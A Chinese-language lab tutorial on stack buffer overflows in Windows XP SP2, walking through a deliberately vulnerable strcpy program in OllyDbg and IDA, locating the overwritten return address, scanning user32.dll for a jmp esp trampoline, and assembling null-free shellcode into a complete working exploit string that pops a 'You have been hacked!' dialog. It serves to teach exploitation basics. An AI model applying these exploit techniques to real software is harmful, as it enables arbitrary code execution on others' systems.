緩衝區溢位漏洞的原理及其利用實戰

淺易深發表於2022-03-01

緩衝區溢位漏洞的原理及其利用實戰

  • 溫馨提示
    • 本文章的圖片十分重要,一定要認真的閱讀
    • 可以把該圖片下載下來,這樣的話圖片會非常清晰(右鍵->另存為)

1. 實驗環境

  • 操作場景
    • windows xp sp2
  • 實驗工具:
    • IDA Pro
    • OllyDbg

2. 緩衝區溢位漏洞原理

  • 在這裡我們通過一個實驗來進行原理講解
  • 實驗過程大致如下:
    1. 分別建立含有緩衝區溢位隱患的程式,和沒有隱患的程式
    2. 判斷main函式的地址
    3. 定位呼叫main函式的語句
    4. 分析call語句對於棧空間的影響
    5. 分析正常程式與存在溢位問題的程式對於棧空間的影響
    6. 緩衝區溢位漏洞總結

2.1 首先我們先來編寫一個簡單的存在緩衝區溢位漏洞的程式

  • 注意:這個程式我使用的是VC++6.0進行編寫的並且在windows XP下執行。而如果你使用的是新版本的Visual Studio,由於微軟加入了GS機制來防止緩衝區溢位情況的出現,那麼本實驗就有可能無法實現

  • 我們先新建一個win32控制檯應用程式工程

    • 如下圖
      01_我們先新建一個win32控制檯應用程式
  • 編寫一個 不存在溢位 的程式

    • 程式碼如下:
    #include "stdio.h"
    #include "string.h"
    
    //十個位元組
    char name[]="qianyishen";
    
    int main(){
    	//申請了11個位元組的空間
    	char buffer[11];
    	//將變數name中的內容複製到buffer陣列中(由於buffer申請的空間 > 10位元組,所以不會發生溢位)
    	strcpy(buffer,name);
    	printf("%s\n",buffer);
    	//加上這行程式碼可以使程式執行完printf之後停止,我們回車才可以繼續執行,以便我們檢視執行結果
    	getchar(); 
    	return 0;
    }
    

    02_編寫一個無溢位的程式

  • 執行一下看看:

    • 注意:在編譯之前我們要先確定使用的是win32 debug版本,而不是win32 release版本
      03_選擇win32debug版本

    • 執行結果
      04_編譯並執行

    • 成功執行

  • 那麼如果變數name中的資料超過11個位元組會怎麼樣?接下來讓我們實驗一下

    • 編寫一個 存在溢位 的程式
    #include "stdio.h"
    #include "string.h"
    
    //20個位元組,我們將資料量加一倍
    char name[]="qianyishenqianyishen";
    
    int main(){
    	//申請了11個位元組的空間
    	char buffer[11];
    	//將變數name中的內容複製到buffer陣列中(由於buffer申請的空間 < 20位元組,所以會發生溢位)
    	strcpy(buffer,name);
    	printf("%s\n",buffer);
    	//加上這行程式碼可以使程式執行完printf之後停止,我們回車才可以繼續執行,以便我們檢視執行結果
    	getchar();
    	return 0;
    }
    
  • 執行一下看看

    • 執行結果
    • 我們發現在雙擊exe程式後,字元可以正常的顯示,但是按下Enter鍵之後,發生了報錯
      05_編譯並執行具有溢位的程式

2.2 接下來我們研究一下存在溢位的程式出錯的原因

  • 我們先來研究一下正常的程式有什麼特點
    • 開啟OD(即軟體:OllyDbg),並將 無溢位的正常程式 拖入其中
      06_開啟OD(即軟體:OllyDbg),並將無溢位的正常程式拖入其中

    • 而此時OD向我們展示的程式碼是系統自動生成的,與我們本次的實驗沒有關係,我們 首先需要做的是定位main函式的位置

    • 那我們應該如何去尋找main函式的位置呢?

      1. 根據經驗直接在OD中尋找
      2. 使用工具IDA幫助定位main函式的位置(在這裡使用的是這個方法)
    • 使用IDA來定位main函式的位置
      07_使用IDA定位main函式的位置

    • 由於緩衝區溢位是與棧的空間緊密相關的,因此現在我們還應當分析一下呼叫這個main函式前後棧空間的一些情況,所以在這裡我們還需要定位一下究竟是哪條語句呼叫或者說是call main函式,同樣,我們仍然使用IDA來幫助我們進行定位
      08_使用IDA定位呼叫main函式的位置

    • 在我們定位完call main函式的位置之後,為了便於之後內容的講解,我們在這裡要說明一下 call語句的原理

      • 當我們的程式要執行call的時候,它會分為兩步走:
        • 第一步:是會將call下面這條語句的地址入棧(在這裡該地址為:00401699)
        • 第二步:就是jmp到這個call語句所指地址的位置
      • 對於我們的這個程式來說,call下面的這個語句,它的地址是 00401699這個地址非常非常的重要:這是因為我們的程式,它在進入每個call之前都會將其下面那條語句的地址(這裡是401699)入棧,然後再去執行call語句,這樣當這個call語句執行完之後,程式再將這個地址出棧,這樣系統就能夠知道執行完call語句後下一步應該去執行哪條指令。
      • 一般來說,我們將這個地址稱為 返回地址(它告訴程式當call執行完之後,請執行這個地址處的程式碼)
      • 這個 【返回地址】 在我們後面的緩衝區溢位講解裡面,它的影響非常的重要,請大家一定一定要牢記
    • 現在,我們來看一下執行完call語句前後棧的情況

    • 按F9開始執行程式,然後至斷點處停下,再按F7進入call語句

    • 可以看到 call語句的下一條語句的地址:00401699 成功入棧,且跳轉到了main函式的位置
      09_我們來看一下執行完call語句前後棧的情況

    • 至此,程式已經執行到了main函式的位置,接下來我們繼續按F8執行

    • 由於我們在源程式中建立了一個11位元組大小的陣列空間,那麼當我們進入main函式之後,首要工作就是為這個區域性變數分配空間
      10_繼續執行

    • 繼續按F8進行逐步執行,直至呼叫strcpy函式

    • 由下圖我們可以看到,呼叫完strcpy函式之後,字串已經被成功的複製,且 返回地址 和 父函式EBP 依然存在
      11_繼續按F8進行逐步執行,直至呼叫strcpy函式

    • 繼續按F8逐步執行

    • 可以看到,在執行到retn語句(即main函式的return)時,棧頂的值正好是返回地址:00401699

    • 執行完retn語句之後,系統也成功的跳轉至 00401699 位置處的程式碼,繼續執行
      12_執行完正常的程式

    • 至此,正常程式的分析完畢

  • 接下來我們分析一下 存在溢位 的程式
    • 與上面一樣,我們先找到程式的main函式位置,並在該位置下一個斷點
    • 按F9開始執行程式
    • 接下來的程式分析我會寫在圖片中,請認真看圖片
      13_執行存在溢位的程式
  • 現在我們總結一下溢位漏洞的原理
    • 這個緩衝區溢位就是因為我們輸入了過長的字元,像這裡我是輸入了20個字元,而這裡本來只能容納11個字元,且緩衝區本身沒有有效的驗證機制,於是就導致過長字元將我們一直所強調的 返回地址 給覆蓋掉了,這樣當我們的函式要返回的時候,由於此時的地址是無效地址,因此就導致程式出錯。
    • 那麼依據這個原理,假設我們所覆蓋的返回地址是一個有效的地址,而在該地址處又包含著有效的指令,那麼我們的系統就會毫不猶豫的跳到這個地址裡面去執行這個指令。
    • 因此如果想利用緩衝區溢位的漏洞,我們就可以構造出一個有效的地址出來,然後將我們想要計算機執行的程式碼寫入到這個地址,這樣一來我們就通過程式的漏洞來讓計算機執行我們編寫的程式。

3. 緩衝區溢位漏洞的利用

  • 實驗過程大致如下:
    1. 精確定位返回地址的位置
    2. 尋找一個合適的地址,用於覆蓋原始地址
    3. 編寫shellcode到相應的緩衝區中
  • 實驗思路:
    1. 利用錯誤提示對話方塊來定位返回地址的位置
    2. 理解jmp esp的實現原理

3.1 精確定位返回地址的位置

  • 通過OD,我們可以很容易弄清楚返回地址的位置,那麼如果沒有OD該怎麼辦呢? 請看下面的方法:
  • 在本次實驗中,由於程式比較簡單,所以我們可以通過 錯誤提示對話方塊 來定位返回地址的位置。
    • 檢視錯誤報告的步驟:
      14_精確定位返回地址的位置

    • 由上圖,我們可以看到,錯誤報告的address欄位的值為:0x6e656873。結合上文對存在溢位程式的分析,我們知道 這個值即為覆蓋之後的返回地址 。接下來我們通過對照ASCII表來將這十六進位制程式碼翻譯成英文字元,看看是什麼

    • 0x6e656873 -> nehs

    • 令我們驚訝的是,該十六進位制翻譯成英文之後,竟然是字串 "shen" 的反向顯示(之所以是反向顯示,是因為我們的計算機是小端顯示的),而字串 "shen" 正是我們存在溢位程式中陣列變數 name 的後四個字元(請看下圖)
      15_精確定位返回地址的位置

    • 由此可知,正是字串 "shen" 這四個字元正好覆蓋了原始返回地址

    • 那麼我們來做一個筆記

      • char name[]="qianyishenqianyishen"; --> char name[]="qianyishenqianyiXXXX";
      • 這裡我們將 "shen" 使用 "XXXX" 來表示,以此來說明正是 "XXXX" 這個位置上的字元覆蓋了原始返回地址,需要我們精心的構造,而"XXXX"前面的16個字元可以是任意的字元,主要用來覆蓋EBP前面的12個位元組的緩衝區和4個位元組的父函式的EBP。
    • 至此,我們也就解決了緩衝區漏洞利用的第一個問題:精確定位返回地址的位置

    • 其實關於精確定位返回地址的位置的方法還有很多,限於篇幅的原因,在這裡就不做一一講解

3.2 如何尋找一個合適的地址,用於覆蓋原始地址

  • 通過上文我們知道,正是 "XXXX" 覆蓋了原始返回地址,使其變為我們所精心設計的返回地址。
  • 那麼我們所精心設計的返回地址應該是多少呢?
  • 在這裡我們不能憑空的創造出一個地址,而是要基於一個合法的地址之上來進行研究,當然我們可以通過OD進行觀察來找到很多合適的地址的,但是用OD進行觀察的方法並不是那麼的方便。
  • 事實上,解決這個問題的方法有很多,但是最為常用最為經典就是 jmp esp 這個方法,也就是說,利用esp這個跳板進行跳轉。
  • 這裡的這個跳板是指程式中原有的機器程式碼,它們都是能夠跳轉到一個暫存器內所存放的地址去執行,比如說像我們這個 jmp esp 或者說 call esp 或者說 jmp ecx 或者說是 call eax 等等,如果說在函式返回的時候,cpu內的暫存器剛好就是直接或者間接指向我們的這個shellcode的起始位置,那麼就可以把棧記憶體放返回地址的那個記憶體單元覆蓋為相應的跳板地址。
  • 這裡大家可能不太好理解,那麼我們就用實際的例子來說明一下:

  • 我們先將 正常的程式 拖入OD中,分析一下
    16_如何尋找一個合適的地址,用於覆蓋原始地址

  • 通過上圖的分析我們可以得知:

    • 當main函式執行完畢後,esp就會自動變成 返回地址的下一個位置,而esp它這個變化一般來說是不受任何情況的傾向的,那麼既然我們知道了這一個特性,其實就可以將返回地址(也就是上面的0012FF84位置處的值),覆蓋成jmp esp語句所在的地址。
  • 也就是說:將原始返回地址,覆蓋成jmp esp語句所在的地址之後,當main函式執行完畢,系統將會去執行那個跳板(jmp esp語句),而此時esp暫存器的值正好是 0012FF88(即:原始返回地址位置的下一個位置),於是當系統執行完jmp esp之後,就會跳轉到0012FF88這個位置,在這個位置繼續執行程式碼,而恰恰這個位置正是我們shellcode程式碼所在的位置。


  • 以上是返回地址沒有被覆蓋的情況,那如果返回地址被破壞了,esp還具有這個特性嗎?使用OD開啟具有緩衝區溢位的程式進行分析:
    16_如何尋找一個合適的地址,用於覆蓋原始地址

  • 由上圖的分析,我們現在就可以明確的得出,esp的這個特性不會受溢位的影響,我們完全可以利用這個特性來做文章。

  • 那麼,我們 如何得知 jmp esp 語句的位置地址呢

    • jmp esp 語句的機器碼為:FFE4
    • 現在我們可以編寫一個程式在user32.dll這個動態連結庫中查詢這條指令它的地址是什麼。
    • 當然,jmp esp這條語句在很多個動態連結庫中都存在,只是這裡使用user32.dll動態連結庫來做例子
    • 查詢程式碼如下,在這裡我們將如下程式碼儲存為searchJmpEspInUser32dll.cpp檔案
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(){
    	BYTE *ptr;
    	int position;
    	HINSTANCE handle;
    	bool done_flag = FALSE;
    	//在這裡我們可以修改將要查詢的動態連結庫
    	//比如我們想在kernel32.dll裡面尋找,那就將其改為kernel32.dll即可
    	handle = LoadLibrary("user32.dll"); 
    	if(!handle){
    		printf("load dll error!");
    		exit(0);
    	}
    	ptr = (BYTE*)handle;
    	for(position = 0; !done_flag; position++){
    		try{
    			//因為jmp esp語句的機器碼為 FFE4,所以這裡要這麼寫;
    			//如果你想要查詢其他語句,可以對其進行修改
    			if(ptr[position]==0xFF && ptr[position+1]==0xE4){
    				int address = (int)ptr+position;
    				printf("opcode found at 0x%x\n",address);
    			}
    		}
    		catch(...){
    			int address = (int)ptr+position;
    			printf("end of 0x%x\n",address);
    			done_flag=true;
    		}
    	}
    	getchar();
    	return 0;
    }
    
    • 我們接下來便執行這個程式
      18_我們如何得知 jmp esp 語句的位置地址呢

    • 由上圖的執行結果我們可以看到,已經查詢到了非常多的jmp esp指令的地址,這些地址我們都可以進行使用,在這裡我們選擇倒數第2個jmp esp地址:0x77d9932f。

    • 也就是說,我們將要使用 0x77d9932f 來覆蓋掉程式的原始返回地址 0x00401699。這樣的話,程式在執行完main函式之後返回時,它就會直接跳到 0x77d9932f 這個位置,從而執行了這裡的jmp esp指令,而執行完jmp esp指令之後,那麼程式就正好會來到esp暫存器中所儲存地址的位置(即:原始返回地址位置的下一個位置),去執行該地址處的指令,而恰恰這個位置正是我們shellcode程式碼所在的位置

    • 在這裡請大家注意,其實獲取jmp esp的方法還是有很多的,而且不同的作業系統這個地址它有可能是不一樣的,但是有些地址在很多系統上都是通用的,關於這個通用地址大家可以自行的在網上進行搜尋。

  • 好了,接下來我們再進行一次總結,我們主要總結這個char name[]="qianyishenqianyiXXXX"陣列中的內容

    1. 首先,"XXXX" 前面的16個位元組依然是什麼內容都可以,其主要用來覆蓋EBP前面的12個位元組的緩衝區和4個位元組的父函式的EBP
    2. 而 "XXXX"(即原始返回地址) 將被替換為 jmp esp 指令的地址(在這裡是:0x77d9932f)
    3. shellcode將緊跟在"XXXX"後面
    4. 所以name陣列中最終內容的格式為:char name[]="qianyishenqianyiXXXXshellcode"

3.3 編寫shellcode到相應的緩衝區中

  • 我們之前一直在說shellcode,那麼shellcode是什麼呢?它其實就是一些已經編譯好的機器碼。

  • 將這些機器碼作為資料輸入,然後通過我們上文所講的方式來執行這些shellcode。

  • 在這裡為了簡單起見,我們只讓程式顯示一個對話方塊,如下:
    19_shellcode編寫

  • 其實我們正常編寫程式來顯示這個對話方塊是非常簡單的,程式碼如下圖:
    20_shellcode編寫

  • 而在這裡,我們將要通過漏洞來呼叫MessageBoxA()這個函式,那麼就有些複雜了

  • 為了實現函式的呼叫,我們的第一步工作就是獲取相關函式的地址

    • 由於我們這裡是想要呼叫MessageBoxA()這個API函式,因此首先就需要獲取該函式的地址,而我們可以通過一個小程式來獲取該地址
    • 該小程式的程式碼如下,在這裡我們將程式碼儲存為SearchMessageBoxA.cpp檔案:
    #include <windows.h>
    #include <stdio.h>
    typedef void (*MYPROC)(LPTSTR);
    int main(){
    	HINSTANCE LibHandle;
    	MYPROC ProcAdd;
    	LibHandle = LoadLibrary("user32");
    	//獲取user32.dll的地址
    	printf("user32 = 0x%x\n",LibHandle);
    	//獲取MessageBoxA的地址
    	ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
    	printf("MessageBoxA=0x%x\n",ProcAdd);
    	getchar();
    	return 0;
    }
    
    • 執行一下
      21_shellcode編寫

    • 可以看到,我已經成功的查詢到了MessageBoxA()函式的地址:0x77d5050b 。但是要注意,這個地址只針對我們目前的這個系統有效,如果你換了一個作業系統,那麼這個地址有可能是不一樣的。

    • 另外,因為我們利用溢位的操作,破壞了原本的棧空間的內容,就有可能會在我們的這個對話方塊顯示完成之後導致程式的崩潰,所以為了謹慎起見,還需要使用EixtProcess這個函式來令程式終止,這個函式它位於 kernel32.dll裡面。接下來我們查詢一下該函式的地址,

    • 查詢程式碼如下,在這裡我們將程式碼儲存為SearchExitProcess.cpp檔案:

    #include <windows.h>
    #include <stdio.h>
    typedef void (*MYPROC)(LPTSTR);
    int main(){
    	HINSTANCE LibHandle;
    	MYPROC ProcAdd;
    	LibHandle = LoadLibrary("kernel32");
    	//獲取kernel32.dll的地址
    	printf("kernel32 = 0x%x\n",LibHandle);
    	//獲取ExitProcess的地址
    	ProcAdd = (MYPROC)GetProcAddress(LibHandle,"ExitProcess");
    	printf("ExitProcess = 0x%x\n",ProcAdd);
    	getchar();
    	return 0;
    }
    
    • 執行一下
      22_shellcode編寫

    • 可以看到,我已經成功的查詢到了ExitProcess()函式的地址:0x7c81caa2 。同樣這個地址只針對我們目前的這個系統有效,如果你換了一個作業系統,那麼這個地址有可能是不一樣的。

  • 至此,我們編寫shellcode所需要的函式的地址已經查詢完畢

  • 現在我們來總結記錄一下編寫shellcode所需要的資訊:

    1. jmp esp指令的地址:0x77d9932f (上文已給出)
    2. MessageBoxA()函式的地址:0x77d5050b
    3. ExitProcess()函式的地址:0x7c81caa2
    4. 字串 "Warning" 對應的ascii碼: "\x57\x61\x72\x6E\x69\x6E\x67\x20"
    5. 字串 "You have been hacked!(by q.y.s)" 對應的ascii碼: "\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29"
  • 在正式編寫shellcode之前,我們先來講解一下 如何利用匯編語言來實現函式的呼叫

    • 在組合語言中,如果我們想要呼叫某個函式,一般使用call這個命令,而在call語句的後面需要跟上該函式在系統中的地址,因為我們剛才已經獲取到了MessageBoxA()函式的地址和ExitProcess()函式的地址,因此我們在這裡就可以通過call + 相應的地址來呼叫對應的方法。
    • 但是實際上我們在程式設計的時候,一般還是先將地址賦給諸如eax這樣的暫存器,然後再使用call + 暫存器 來實現函式的呼叫。
    • 如果說我們想呼叫的函式 還包含有引數,那麼我們就需要先 將引數利用push語句從右至左分別入棧,然後再呼叫call語句
    • 這裡給大家舉一個例子:
      比如說我們這裡有一個名為TestFun的函式,它有三個引數,分別為a,b,c:TestFun(a,b,c)
      那麼我們在彙編中應使用以下方式來呼叫該函式
      push c
      push b
      push a
      mov eax,TestFun函式的地址
      call eax
      
  • 另外,我們還需要講解一下 在彙編中長字串的問題該如何解決(因為MessageBoxA()函式有兩個引數是長字串)

    • 由上文我們已經總結出 "Warning"字串 和 "You have been hacked!(by q.y.s)" 字串對應的ASCII碼值
      1. 字串 "Warning" 對應的ascii碼: "\x57\x61\x72\x6E\x69\x6E\x67\x20"
      2. 字串 "You have been hacked!(by q.y.s)" 對應的ascii碼: "\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29"
    • 那麼下一步,我們將每4個ASCII碼為一組進行分組,不滿4個的使用 \x20 來進行填充(這裡之所以使用 \x20 進行填充,而不是使用 \x00 進行填充就是因為我們現在所使用的是strcpy函式的漏洞,而strcpy這個函式有一個特點:一旦遇到 00,就會認為我們的字串已經結束了,就不會拷貝 00 後的那些內容了,因此這個問題需要特別的注意。只要我們想利用strcpy這個函式的漏洞,那麼我們的shellcode裡面是不能出現00的)
    • 分組結果如下
    Warning:
    \x57\x61\x72\x6E
    \x69\x6E\x67\x20
    
    You have been hacked!(by q.y.s)
    \x59\x6F\x75\x20
    \x68\x61\x76\x65
    \x20\x62\x65\x65
    \x6E\x20\x68\x61
    \x63\x6B\x65\x64
    \x21\x28\x62\x79
    \x20\x71\x2E\x79
    \x2E\x73\x29\x20
    
    • 緊接著,由於我們的計算機它是小端顯示的,那麼我們在使用push語句進行入棧時,入棧的順序應是 從後往前 的,這裡以字串 “Warning” 為例,入棧順序如下:
    push 0x20676e69
    push 0x6e726157  //此時,字串“Warning”就已經入棧了
    
    • 然後,接下來的問題就是:
      • 我們應如何獲取這兩個字串的地址,從而讓它們成為MessageBoxA的兩個引數呢?
      • 這裡我們可以使用esp暫存器,因為它始終指向的是棧頂的位置。
      • 我們這裡通過push語句將這個字串入棧之後,棧頂的位置就是我們剛剛所壓入的這個字串的位置,因此我們在每次的字串壓棧之後,就可以使用mov指令將esp暫存器中字串的地址賦給另一個暫存器以儲存下來。這裡以字串 “Warning” 為例
      push 0x20676e69
      push 0x6e726157   
      mov eax,esp
      
    • 至此,彙編中長字串的問題及解決已講述完畢。
  • 接下來我們將使用VC++6.0,通過內聯彙編的方式開始編寫shellcode彙編程式碼,編寫好的shellcode彙編程式碼如下

    • 建立一個 win32控制檯程式 -> 新建C++檔案,開始編寫,程式碼如下:
    int main(){
    	_asm{
    		sub esp,0x50      //注意:我們在此執行該指令,目的是將棧針抬高
    		xor ebx,ebx       //用異或操作將ebx暫存器中的值清零
    
    		push ebx          //我們這裡將 0 壓入棧中,目的是告訴系統:字串到這裡就已經截止了
    		push 0x20676e69   //將"Warning"字串入棧
    		push 0x6e726157   
    		mov eax,esp       //將字串"Warning"的地址儲存至eax暫存器中
    
    		push ebx          //我們這裡將 0 壓入棧中,目的是將兩個字串分割開來
    
    		push 0x2029732e   //將"You have been hacked!(by q.y.s)"字串入棧
    		push 0x792e7120
    		push 0x79622821
    		push 0x64656b63
    		push 0x6168206e
    		push 0x65656220
    		push 0x65766168
    		push 0x20756f59    
    		mov ecx,esp        //將字串"You have been hacked!(by q.y.s)"的地址儲存至ecx暫存器中
    
    		push ebx           //將MessageBoxA函式第4個引數入棧
    		push eax		   //將MessageBoxA函式第3個引數入棧
    		push ecx		   //將MessageBoxA函式第2個引數入棧
    		push ebx		   //將MessageBoxA函式第1個引數入棧
    		mov eax,0x77d5050b //將MessageBoxA函式函式的地址儲存至eax暫存器中
    		call eax           //MessageBoxA函式的呼叫
    
    		push ebx           //這裡之所以要push一個0,是因為ExitProcess函式其實是由一個引數的
    		mov eax,0x7c81caa2 //使用mov將ExitProcess函式的地址賦給eax暫存器
    		call eax           //ExitProcess函式的呼叫
    	}
    	return 0;
    }
    
    
  • 至此,shellcode彙編程式碼已編寫完畢,那麼我們應該如何獲取它的shellcode機器碼呢?

    • 我們可以通過VC++6.0來檢視機器碼,步驟如下:
      23_shellcode編寫

    • 而上述VC++6.0中顯示的機器碼並不是我們全部都需要的,我們需要的僅僅是 shellcode彙編程式碼 對應的 機器碼(即:下圖綠框中的機器碼)
      24_shellcode編寫

  • 然後我們將上述shellcode機器碼與我們之前所講的內容結合一下,便可以編寫出以下程式:

#include "stdio.h"
#include "string.h"
#include "windows.h"
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //用於覆蓋EBP前面的12個位元組的空間
			"\x41\x41\x41\x41"     //覆蓋EBP
			"\x2f\x93\xd9\x77"     //返回地址
			"\x83\xEC\x50"         //注意:我們在此執行該指令,目的是將棧針抬高
			"\x33\xDB"             //用異或操作將ebx暫存器中的值清零
			"\x53"                 //我們這裡將 0 壓入棧中,目的是告訴系統:字串到這裡就已經截止了
			"\x68\x69\x6E\x67\x20" //將"Warning"字串入棧
			"\x68\x57\x61\x72\x6E"
			"\x8B\xC4"             //將字串"Warning"的地址儲存至eax暫存器中
			"\x53"                 //我們這裡將 0 壓入棧中,目的是將兩個字串分割開來
			"\x68\x2e\x73\x29\x20" //將"You have been hacked!(by q.y.s)"字串入棧
			"\x68\x20\x71\x2E\x79"
			"\x68\x21\x28\x62\x79"
			"\x68\x63\x6B\x65\x64"
			"\x68\x6E\x20\x68\x61"
			"\x68\x20\x62\x65\x65"
			"\x68\x68\x61\x76\x65"
			"\x68\x59\x6F\x75\x20"
			"\x8B\xCC"             //將字串"You have been hacked!(by q.y.s)"的地址儲存至ecx暫存器中
			"\x53"                 //將MessageBoxA函式第4個引數入棧
			"\x50"                 //將MessageBoxA函式第4個引數入棧
			"\x51"                 //將MessageBoxA函式第2個引數入棧
			"\x53"                 //將MessageBoxA函式第1個引數入棧
			"\xB8\x0B\x05\xD5\x77" //將MessageBoxA函式函式的地址儲存至eax暫存器中
			"\xFF\xD0"             //MessageBoxA函式的呼叫
			"\x53"                 //這裡之所以要push一個0,是因為ExitProcess函式其實是由一個引數的
			"\xB8\xA2\xCA\x81\x7C" //使用mov將ExitProcess函式的地址賦給eax暫存器
			"\xFF\xD0";            //ExitProcess函式的呼叫
int main(){
	char buffer[11];
	LoadLibrary("user32.dll"); //由於我們的shellcode使用了MessageBoxA函式,所以需要匯入user32.dll。這裡為了簡單起見,我們直接在原程式匯入了。而在真實環境中,你需要在shellcode中匯入
	strcpy(buffer,name);
	printf("%s\n",buffer);
	getchar();
	return 0;
}
  • 現在,我們來嘗試執行一下程式,看是否成功利用了這個緩衝區溢位漏洞
    25_測試

  • perfect!!!利用成功!!!

  • 最後,我們再使用OD開啟這個程式,看一看該程式中shellcode的情況:
    26_分析

相關文章